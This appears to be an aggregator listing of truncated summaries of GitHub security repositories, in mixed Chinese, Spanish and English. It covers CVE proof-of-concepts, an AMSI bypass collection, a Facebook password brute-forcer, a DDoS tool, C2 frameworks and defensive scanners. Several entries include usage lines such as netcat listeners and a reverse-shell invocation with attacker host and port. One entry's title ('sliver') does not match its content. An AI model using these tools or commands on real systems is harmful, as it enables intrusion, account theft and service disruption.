CVE-2024-36877

CVE-2024-36877 POC de exploit para CVE-2024-36877 Puede encontrar un análisis detallado en mi blog - https://jjensn.com/at-home-in-your-firmware https://github.com/user-attachments/assets/71f30cda-61e3-49ea-b856-959746349f2d...

XPL-SEARCH

XPL SEARCH 在线搜索多个数据库中的漏洞/安全漏洞！ XPL SEARCH 是一个跨平台工具（Windows 和 Linux），使用 PHP 开发，旨在帮助黑客社区利用在线数据库查找漏洞或安全漏洞。以下是在此版本中可使用的数据库列表： 1. Exploit-DB 2. MIlw00rm 3. PacketStormSecurity 4. IntelligentExploit 5. IEDB 6. CVE 7. Siph0n 该工具提供多项选项，例如： 个体搜索。 多词搜索（列表）。 选择用于研究的数据库。 过滤重复结果。 屏蔽特定数据库。 保存调查数据的日志。...

SnitchDNS

!CAUTION 此仓库已不再维护，请访问 https://github.com/sadreck/SnitchDNS 获取最新版本。 SnitchDNS SnitchDNS 是一个由数据库驱动的 DNS 服务器，带有 Web 界面，使用 Python 和 Twisted 编写。所有配置更改立即可见，无需重启任何系统服务，从而简化了 DNS 管理。 其主要功能之一是记录所有 DNS 查询，从而发现网络流量端点；同时，它支持通过电子邮件、Web Push、Slack 和 Teams 发送通知，因此可用于实现蜜罐令牌（Canary Tokens）。红队成员也可使用 SnitchDNS...

sandsifter

s a n d s i f t e r : x86 处理器模糊测试器 概述 Sandsifter 通过系统生成机器码来搜索处理器的指令集，并监控执行过程中的异常，从而审计 x86 处理器的隐藏指令和硬件漏洞。Sandsifter 已经发现了来自所有主要厂商的秘密处理器指令；反汇编器、汇编器和模拟器中普遍存在的软件漏洞；企业级虚拟机监控器的缺陷；以及 x86 芯片中的良性及安全关键型硬件漏洞。 鉴于 x86 处理器的多样性，该工具的目标是使用户能够自行检查系统中存在的隐藏指令和漏洞。 要对你的处理器进行基本审计，请运行： sudo ./sifter.py --unk --dis --len...

CVE-2024-28995

CVE-2024-28995 SolarWinds Serv-U 存在目录遍历漏洞，允许读取主机上的敏感文件。 安装 git clone https://github.com/gotr00t0day/CVE-2024-28995.git cd CVE-2024-28995 pip3 install -r requirements.txt 用法 扫描单个目标 python3 CVE-2024-28995.py -t domain.com 扫描域名列表 python3 CVE-2024-28995.py -f domains.txt 分析...

CVE-2024-7029

EN GenAvTechRCEExploit 一种针对 AvTech 设备中 CVE-2024-7029 漏洞的概念验证漏洞利用工具，允许远程代码执行（RCE）。该工具可以扫描易受攻击的设备并与之交互执行命令。 功能 漏洞检测 ：检查 AvTech 设备是否存在 RCE 漏洞。 交互式 Shell ：通过交互式 Shell 在目标设备上执行命令。 多线程扫描 ：使用多线程同时扫描多个目标。 有效载荷执行 ：通过发送精心构造的有效载荷远程执行命令来攻击目标。 要求 Python 3.7+ requests 库 prompttoolkit 库 aliveprogress 库...

expel-intel

expel-intel Este es el hogar del equipo de Expel Intel. Aquí, compartiremos IOCs y otra información que no sea adecuada para encajar en otros medios o que sea especialmente adecuada para encajar en git repos. Manténganse seguros, hagan el bien, estén bien y diviértanse. Este repositorio es solo...

harpyTools

Active Directory 后渗透与中继自动化工具 本仓库包含一组 Python 编排脚本，专为 Active Directory 环境中的安全评估和渗透测试而设计。这些工具特别针对后渗透场景，在此场景中，攻击者已在被入侵的工作站或服务器上获得本地管理员访问权限，目标是在更广泛的 Active Directory 域内执行横向移动或权限提升。 通过自动化涉及常见安全工具（如 NetExec、Impacket、Donut 和 BloodyAD）的工作流程，这些脚本将复杂的多步骤流程简化为可重复的单命令操作。 前提条件 这些脚本要求主机系统上安装以下工具，并且这些工具位于系统的 PAT...

fleet-cve-scanner

fleet-cve-scanner 一个轻量开源、单脚本的CVE扫描器，专为RMM管理的设备集群而设计。纯PowerShell 7，无需代理、无需设备、无需许可费用。 对于您管理的每台终端上的每款软件，它只回答一个问题：已安装的版本是否已知存在漏洞，以及紧急程度如何？ —— 通过将RMM的软件清单与免费、权威的安全数据源进行关联： NIST NVD —— 已知CVE及受影响的版本范围 CISA KEV —— 实际在野外被利用（绕过评分阈值） EPSS —— 未来30天内被利用的概率 CISA SSVC —— 操作/关注/跟踪优先级决策 MSRC —— 证明微软补丁已覆盖该发现...

CVE-2016-8610-PoC

CVE-2016-8610 PoC CVE-2016-8610 SSL死亡警报 PoC 用法: python ssl-death-alert.py DOMAIN/IP PORT PROTOCOL-VERSIONSSLv3, TLS1.0, TLS1.1, TLS1.2 NUMBER-OF-ALERTS1000 THREADS50 python ssl-death-alert.py test.tdl 443 TLS1.2 1000 50 更多信息: http://security.360.cn/cve/CVE-2016-8610/...

exe2powershell

exe2powershell exe2powershell - exe2bat 重生，适用于现代 Windows exe2bat 以 exe2powershell 的形式重生，适用于现代 Windows exe2powershell 用于将任何二进制文件 .exe 转换为 BAT 文件。 生成的 BAT 文件仅包含 "echo" 命令，最后包含一条 powershell 命令来重新创建原始二进制文件。 此类工具在渗透测试期间非常有用，当审计员触发一个没有上传功能的 shell 时。通过 "echo" 和 "powershell"，审计员能够在目标系统上 "上传" 任何二进制文件。 最初作...

pphack

pphack 高级客户端原型污染扫描器 由 edoardottt 用 💙 编写 分享到 Twitter！ 安装 • 快速开始 • 示例 • 更新日志 • 贡献 • 许可证 安装 📡 使用 Go go install github.com/edoardottt/pphack/cmd/pphack@latest pphack 依赖 chromedp，因此你需要 Chrome 或基于 Chromium 的浏览器。 快速开始 🎉 Usage: pphack flags Flags: INPUT: -u, -url string Input URL -l, -list string File...

http2smugl

http2smugl This tool helps to detect and exploit HTTP request smuggling in cases it can be achieved via HTTP/2 - HTTP/1.1 conversion by the frontend server. The scheme is as follows: 1. An attacker sends a crafted HTTP/2 request to the target server, which we call frontend. 2. The request is...

http2smugl

http2smugl 该工具用于检测和利用 HTTP 请求走私，场景是通过前端服务器进行 HTTP/2 - HTTP/1.1 转换时可能实现。 其方案如下： 1. 攻击者向目标服务器（我们称之为 前端 ）发送精心构造的 HTTP/2 请求。 2. 该请求（假定）被转换为 HTTP/1.1 并传输到另一个 后端 服务器。 攻击者希望找到这样的请求，使得后端服务器将其视为两个独立的请求。 如果前端后端 HTTP/1.1 连接使用 keep-alive，则前端可能会将其他用户的请求发送到同一连接。如果我们能够通过在合法请求之后的部分请求来“毒化”连接，就可以检索到其他用户的请求。...

CVE-2025-49619

PoC de CVE-2025-49619 Este script explota CVE-2025-49619 en Skyvern para ejecutar un comando de shell inversa. Autor Nombre: Cristian Branet GitHub: cristibtz Uso 1. Inicia un listener nc -lvnp 2. Ejecuta el exploit python3 exploit.py -u "http://:" -k "" -i -p : IP del servidor Skyvern : Puerto...

Public_Poc

0xmrsecurity.github.io 个人博客网页 想法 我学习并编写公开的概念验证代码，以更好地理解黑客技术和编程技能。...

statiStrings

statiStrings | | | | || | / | / | | \ | | '| | ' \ / / | \ \ || | | || | | || | | | | | | | \ \ |/\,|||/ || ||| ||, |/ |/ YARA Rule Strings Statistics Calculator Shelly Raban Sh3llyR, February 2021, Version 0.1 目录 1. 关于项目 构建工具 2. 开始使用 安装 3. 用法 4. 联系 5. 致谢 关于项目 statiStrings 是一个用于 YARA...

apache-activemq-rce-research

Apache ActiveMQ Classic — RCE 研究 针对 Apache ActiveMQ Classic 中 Jolokia → addNetworkConnector → xbean/Spring-XML 远程代码执行链（CVE-2026-34197 及其补丁绕过 CVE-2026-42588 ）的私有研究存档，外加对已修复的 6.2.6 版本的全自动重审计，以及与 Crowdfense 公开的绕过文章进行的并列对比。 所有利用均在 本地实验室 Broker （Docker / 自托管）上执行。Payload 使用占位符攻击者主机。 目录 目录| 阶段| 内容...

CVE-2024-4040

CVE-2024-4040 - 漏洞利用扫描器 该仓库包含与 CVE-2024-4040（CrushFTP VFS 逃逸）相关的文件。 scanhost.py 此脚本尝试利用该漏洞读取沙箱外的文件。如果成功，脚本会在标准输出中写入 Vulnerable 并以退出码 1 返回。如果利用漏洞失败，脚本会写入 Not vulnerable 并以状态码 0 退出。 该脚本依赖于 requests 库。 scanlogs.py 此脚本在 CrushFTP 服务器安装目录中查找入侵指标。它基本上等同于运行以下命令： $ grep -F -r '' /path/to/CrushFTP/logs/...

In-Spectre-Meltdown

推测执行侧信道攻击检测工具 In-Spectre-Meltdown 本工具用于检测影响众多现代处理器和操作系统设计的推测执行侧信道攻击。CVE-2017-5754（熔断）和 CVE-2017-5715（幽灵）允许非特权进程窃取特权进程的机密信息。这些攻击提供了三种不同的方式突破 CPU 的数据保护措施，使攻击者能够读取本不应读取的数据。...

SiMBA

SiMBA SiMBA 是一个用于简化线性混合布尔算术表达式（MBA）的工具。与 MBA-Blast 和 MBA-Solver 类似，它采用完全代数方法，基于线性 MBA 由其在全零和全一集合上的值完全确定的思路，但利用新的见解，即不需要转换到 1 位空间。 它基于以下论文： @inproceedingssimba2022, author = Reichenwallner, Benjamin and Meerwald-Stadler, Peter, title = Efficient deobfuscation of linear mixed Boolean-arithmetic...

RMS-Runtime-Mobile-Security

Runtime Mobile Security RMS 📱🔥 作者 @mobilesecurity Runtime Mobile Security RMS ，基于 FRIDA 驱动，是一个强大的网页界面，帮助您在运行时操控 Android 和 iOS 应用 。 通过 RMS，您可以轻松转储所有已加载的类及相应方法，随时动态挂钩，追踪方法参数和返回值，加载自定义脚本，以及执行许多其他有用的操作。 iOS 演示 - 视频 Android 演示 - 视频 教程 - Android 使用 Runtime Mobile Security RMS 解决 OWASP UnCrackable Andro...

sliver

go-fcm English | 繁體中文 | 简体中文 基于 github.com/edganiukov/fcm 分支 Firebase 云消息官方文档 目录 go-fcm 目录 功能特性 支持的消息类型 快速开始 认证与凭证 使用示例 高级配置 自定义 HTTP Client 代理支持 单元测试与模拟 最佳实践 故障排查 架构图 常见问题 许可证 功能特性 功能| 支持| 说明 ---|---|--- 单设备推送| ✅| 发送消息到单一设备 多设备推送| ✅| 发送消息到多个设备 主题推送| ✅| 发送消息到指定主题 条件推送| ✅| 支持 FCM 条件语法 自定义 HTTP...

cve-2018-19207

CVE-2018-19207 Esto es parte de Cved: una herramienta para gestionar contenedores Docker vulnerables. Cved: https://github.com/git-rep-src/cved Origen de la imagen: https://github.com/cved-sources/cve-2018-19207 Autor de la imagen: https://github.com/cved-sources/cve-2018-19207...

gradle-cve-2021-29427-demo

gradle-cve-2021-29427-demo gradle cve...

STIG-Edge-RCE-CVE2025-9478

STIG – Microsoft Edge Chromium 139.0.3405.125 远程代码执行 CVE-2025-9478, Plugin ID: 258091 之前 发现： Microsoft Edge 版本 139.0.3405.86 已过时，易受一个严重的远程代码执行 RCE 漏洞 CVE-2025-9478 的影响。 风险： 攻击者可能利用 ANGLE 中的释放后使用漏洞，通过精心构造的 HTML 页面执行任意代码。 证据： 修复措施 1. 将 Microsoft Edge 更新至版本 139.0.3405.125（已修补）。 2. 验证版本更新...

CVE-2018-19788

Proof of Concept for the CVE-2018-19788 Ansible role to check the vulnerability tracked as CVE-2018-19788 that impacts PolicyKit version 0.115 which comes pre-installed on a wide range of Linux distributions such as Ubuntu, Red Hat, CentOs, to mention a few. Requirements Minimum required ansible...

CVE-2022-36804

CVE-2022-36804 Bitbucket RCE 2022 此仓库是 hgrab-framework 的一部分 dork title: "Public Repositories - Bitbucket" 受影响的产品 - Bitbucket Server 和 Data Center 7.6 至 7.6.17 之前的版本 - Bitbucket Server 和 Data Center 7.17 至 7.17.10 之前的版本 - Bitbucket Server 和 Data Center 7.21 至 7.21.4 之前的版本 - Bitbucket Server 和 Data...

CVE-2021-1675_PrintNightMare

PrintNightmareScanner 用于检测Windows打印后台处理程序远程代码执行漏洞（CVE-2021-1675）的扫描器 前提条件 python3 python3 -m pip install -r Requirements.txt 用法 python3 detectprintnightmare.py --help usage: detectprintnightmare.py -h -t TARGET -T TARGETS -c CIDR 可选参数： -h, --help 显示此帮助信息并退出 -t TARGET, --target TARGET 单个IP -T...

xpfarm

XPFarm Una plataforma de seguridad ofensiva aumentada con IA de código abierto que envuelve herramientas de seguridad conocidas detrás de una interfaz web unificada — con escaneo distribuido, informes generados por IA, un planificador de escaneo inteligente, un gráfico de ataque interactivo y un...

zap-hud

ZAP Heads Up Display The HUD is no longer under active development Unfortunately the HUD is no longer under active development due to the fact no one is focusing on it. The HUD is a unique and innovative interface that we know some people love. But it also needs a non trivial amount of maintenanc...

zap-hud

ZAP 抬头显示 HUD 已不再积极开发 不幸的是，由于目前没有人专注于 HUD 的开发，它已不再积极维护。 HUD 是一个独特且创新的界面，我们知道有些人很喜欢它。 但它也需要相当多的维护工作，而目前我们缺乏足够的志愿者来继续维护。 如果你有兴趣参与，请通过 ZAP HUD 讨论组 与我们联系。 为了继续维护 HUD，我们实际上不需要有 Java 经验的人——这方面我们已经有人了。 我们需要的是具有良好 JavaScript 经验并且有自信深入处理非平凡浏览器问题的人。 HUD 是一个非常规的项目，它采取不寻常的手段来绕过浏览器的安全特性。 浏览器的更新经常导致 HUD 以奇怪的方式失...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 con CGI Uso : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT Más información: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 999...

theway

The Way The Way 是一款用于解包、重新打包和创建恶意 Cisco 自适应安全设备管理器 ASDM 包的工具。ASDM 是基于 Java 的图形化管理界面，用于管理自适应安全设备 ASA 系统（例如防火墙和 VPN）。ASDM 包托管在 ASA 上，管理员每次通过 ASDM 连接到 ASA 时，都会下载子组件。能够将恶意 ASDM 包植入 ASA 的攻击者可以在管理员系统上实现代码执行。 该漏洞是由几个问题共同导致的。最具体地说，由于 Cisco 未对包进行签名，因而可以制造恶意 ASDM 包。能够构造合法包并计算文件哈希的攻击者可以在 ASA 上加载任意包。此漏洞已被分配编...

FaceBrute

FaceBrute Script de fuerza bruta para Facebook Este script intenta adivinar contraseñas para una cuenta de Facebook dada utilizando una lista de contraseñas diccionario. Dado que Facebook bloquea temporalmente el acceso a cuentas que fallan continuamente al iniciar sesión, este script está...

XposedOrNot

XposedOrNot XposedOrNot XoN 工具用于搜索一个由约8.5亿个实时暴露密码组成的聚合库。使用此类泄露密码对个人账户安全有害。 截图 什么是 Xposed Passwords？ 本项目的主要目的是为公众提供一个免费平台，用于检查其密码是否已被暴露和泄露。 这个庞大的密码集合是来自全球各种数据泄露事件中真实密码的累积。密码来源于诸如 Collection 1、Yahoo 等泄露事件。此外，密码还常通过 pastebin.com 上的"paste"暴露。我们已经收集了超过 40,000 个此类暴露，并将其添加到这个巨大的列表中。 整理后的密码使用高度安全的哈希算法...

Panoptic

Panoptic Panoptic 是一款开源渗透测试工具，可通过路径遍历漏洞自动搜索并获取常见的日志和配置文件。 功能特性 异步并发扫描，支持可配置的工作线程池 （--concurrency） 通过基于参数、基于路径、POST、Cookie、请求头和 JSON 请求体注入，自动发现常见的日志和配置文件 FUZZ 标记用于任意注入点——将 FUZZ 放在任意 --header 或 --data 值中 为解码文件路径的端点提供 Base64 编码 （--base64） 自动检测操作系统，并可选择限制后续扫描 启发式响应比较，配合状态码过滤以 减少误报 动态用例注入——解析...

Amsi-Bypass-Powershell

赞助方 Amsi-Bypass-Powershell 此仓库包含我在不同博客文章中发现的某些反恶意软件扫描接口（AMSI）绕过/规避方法。 大多数脚本本身会被AMSI检测到。因此，您需要找到触发器并通过变量/函数重命名、字符串替换或运行时编码解码来更改签名。或者，通过ISESteroids和/或Invoke-Obfuscation对它们进行混淆处理以使其工作。您还可以查看我关于手动修改签名以获得有效绕过的博客文章。 0. 修补clr.dll中的AmsiScanBuffer 1. ScriptBlock Smuggling 2. Reflection ScanContent Change ...

AdaptixC2

AdaptixC2 v1.2 FEB, 28: ¿Qué ha cambiado en la versión v1.2? Adaptix es un marco extensible de post-explotación y emulación adversarial diseñado para pruebas de penetración autorizadas. El servidor Adaptix está escrito en Golang para permitir flexibilidad al operador. El cliente GUI está escrito ...

cloud-custodian

Cloud Custodian c7n Cloud Custodian（又称 c7n）是一个用于管理公有云账户和资源的规则引擎。它允许用户定义策略，以实现一个既安全又成本优化的良好管理云基础设施。它将组织中许多临时脚本整合到一个轻量级且灵活的工具中，并提供统一的指标和报告。 Custodian 可用于管理 AWS、Azure 和 GCP 环境，通过确保对安全策略（如加密和访问要求）、标签策略以及通过垃圾回收未使用资源和非工作时间资源管理来降低成本，实现实时合规。 Custodian 还支持对基础设施即代码资产运行策略，以便直接在开发者工作站或 CI 管道中提供反馈。 Custodian...

PayloadsAllTheThings

Payloads All The Things Web应用安全中有用的有效载荷和绕过方法列表。 欢迎使用你的有效载荷和技术进行改进！ 你也可以通过 🍻 线下方式或使用赞助按钮来贡献。 另一种显示版本可在 PayloadsAllTheThingsWeb 获得。 📖 文档 每个章节包含以下文件，你可以使用 templatevuln 文件夹创建新章节： README.md - 漏洞描述及如何利用，包括多个有效载荷 Intruder - 一组可提供给 Burp Intruder 的文件 Images - README.md 使用的图片 Files - README.md 中引用的一些文件...

CVE-2021-40444

PoC de CVE-2021-40444 Generador de docx malicioso para explotar CVE-2021-40444 Ejecución remota de código en Microsoft Office Word La creación de este script se basa en ingeniería inversa sobre la muestra utilizada en la naturaleza: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52...

cve-2016-9838

CVE-2016-9838 这是Cved的一部分： 一个管理易受攻击的Docker容器的工具。 Cved: https://github.com/git-rep-src/cved 图片来源：https://github.com/cved-sources/cve-2016-9838 图片作者：https://github.com/cved-sources/cve-2016-9838...

cve-2018-17207

CVE-2018-17207 这是Cved的一部分： 一个管理易受攻击的Docker容器的工具。 Cved：https://github.com/git-rep-src/cved 图片来源：https://github.com/cved-sources/cve-2018-17207 图片作者：https://github.com/cved-sources/cve-2018-17207...

cve-2018-3810

CVE-2018-3810 Esto es parte de Cved: una herramienta para gestionar contenedores docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2018-3810 Autor de la imagen: https://github.com/cved-sources/cve-2018-3810...

WebSecProbe

.png WebSecProbe 是一款安全测试工具，专为 Web 安全研究员、渗透测试人员和系统管理员设计，用于分析 HTTP 403（禁止）响应以及 Web 应用程序中的访问控制行为 。 该工具有助于通过系统性地测试请求变体、标头和端点，来识别配置错误、不一致的授权检查以及意外的访问路径 。这些技术有助于揭示那些在手动测试中可能被忽略的弱点。 WebSecProbe 适用于授权的安全评估和防御性研究 ，帮助团队验证访问控制实现，并增强其 Web 应用程序的整体安全态势。 !IMPORTANT 此工具仅可用于您拥有所有权或已获得明确测试许可的应用程序。 在 Google Colab...

sitrep

SitRep Extensible, configurable host triage. Purpose SitRep is intended to provide a lightweight, extensible host triage alternative. Checks are loaded dynamically at runtime from stand-alone files. This allows operators to quickly modify existing checks, or add new checks as required. Checks are...

sitrep

SitRep 可扩展、可配置的主机信息收集工具。 目的 SitRep 旨在提供一种轻量级、可扩展的主机信息收集替代方案。检查项在运行时从独立文件动态加载。这使得操作员可以快速修改现有检查项，或根据需要添加新检查项。 检查项按类别分组，并可标记为 OpSec 安全/不安全。不安全的检查项仅在提供 /AllowUnsafe 标志时加载。 有趣的结果会以 高亮显示。 检查项 检查项按类别划分，以便在适当的组中显示。目前可用的检查项如下： 环境 CurrentUser.cs - 当前用户 DomainName.cs - 域名 HostName.cs - 主机名 LoggedOnUsers.cs ...

WireTapper

📡 WireTapper !NOTE 无线 OSINT 与信号情报平台 WireTapper 是一款无线 OSINT 工具，旨在通过被动信号情报发现、映射和分析基于无线电的设备。它为调查人员、研究人员和安全分析师提供对周围无形无线环境的实时可见性。 WireTapper 检测并关联常见无线技术的信号，帮助用户了解存在哪些设备、它们可能的位置以及它们如何交互，而无需主动入侵。 WireTapper 基于隐私保护的 k-匿名查询方案，识别泄露的 Wi-Fi 网络凭证。 🔗 网站： https://haybnz.web.app 🔗 关于 WireTapper 的博客： 在 Medium 上阅读...

DDoS-Ripper

DDoS-Ripper 什么是DDoS攻击？ 分布式拒绝服务（DDOS）攻击服务器，通过海量互联网流量切断目标或周边基础设施 DDoS攻击利用多台被入侵的计算机系统作为攻击流量来源，从而实现攻击效果。搜索引擎可能包括计算机以及其他网络资源（如物联网设备）。 从更高层面看，DDOS攻击就像是高速公路上意外的交通堵塞，阻止正常流量到达目的地。 注意（请确保您已安装 Python 3） 对于 Termux 要在 Termux 中使用 DRipper，请依次输入以下命令： pkg install git -y pkg install python -y pkg install python3 -...